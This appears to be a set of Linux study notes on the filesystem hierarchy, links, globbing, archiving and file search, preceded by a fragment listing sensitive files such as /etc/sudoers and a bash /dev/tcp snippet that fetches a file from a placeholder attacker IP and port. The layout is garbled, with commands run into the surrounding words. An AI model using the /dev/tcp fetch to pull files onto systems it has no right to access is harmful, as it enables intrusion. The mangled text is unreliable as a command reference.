/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf
/dev/tcp
exec 3<>/dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>
echo -e "GET /<FILENAME> HTTP/1.1\n\n">&3
cat <&3
Filesystem
-
man hiershows us a description of the Linux filesystem hierarchy. -
Despite multiple directories and mount points being used, they are all part of the same filesystem.
-
The config for how the different drive partitions are mounted can be found in
/etc/fstab. -
mountcan be used to mount partitions at different mount points on filesystem. -
dfdisplays disk filesystem space usage of all mounted partitions, anddudisplays disk usage of files & directories on disk. -
Absolute paths always start from the root of the filesystem and ignore current working directory; relative paths are paths from current working directory.
-
ls -l file.txtshows the last modification time of a file; to update the modification time, we can runtouch file.txt- but this will create the file if it does not exist. -
For filename with spaces, we can either escape the space character like
cat file\ name.txt, or place the enter name in quotes likecat "file name.txt". -
Globbing examples:
-
ls file*.txt- matches text files starting with 'file' -
ls file?.txt- matches text files starting with 'file' and having another character after that -
ls **/*.txt- matches text files across directories -
ls file[123].txt- matches text files starting with 'file' and having '1', '2', or '3' after that -
ls file[a-zA-Z].txt- matches text files starting with 'file' and having any of the letters in the provided range after that
-
-
lncan be used to create hard and soft links:-
Hard link points to physical location of file on storage -
ln hello.txt hello-hardlink.txtcreates a hard link for 'hello.txt'. -
Changes in original file will follow in hard link - original file can be deleted, but hard link still persists.
-
Soft (symbolic) link references file or directory on filesystem -
ln -s hello.txt hello-softlink.txtcreates a soft link. -
If the resource is removed from filesystem, the soft link will not work.
-
-
Compressing & archiving files:
-
zip tmp/backup.zip f1.txt f2.txt f3.txt- creates zip file -
unzip -l tmp/backup.zip- lists contents of zip file -
zip -r tmp/backup-dir.zip dir1 dir2- creates zip file of directory contents -
tar cvf backup.tar file?.txt dir?- archives files and directories matching the format -
tar tvf backup.tar- lists contents of archive -
tar xvf backup.tar- extracts files from archive -
gzip backup.tar- compresses archive -
gunzip backup.tar.gz- decompresses archive
-
-
Searching in filesystem:
-
find . -name 'file*.txt'- finds files with specific format in current & sub-directories -
find . -iname 'file*.txt'- case-insensitive search -
locate file.txt- searches from a database of file names from entire filesystem
-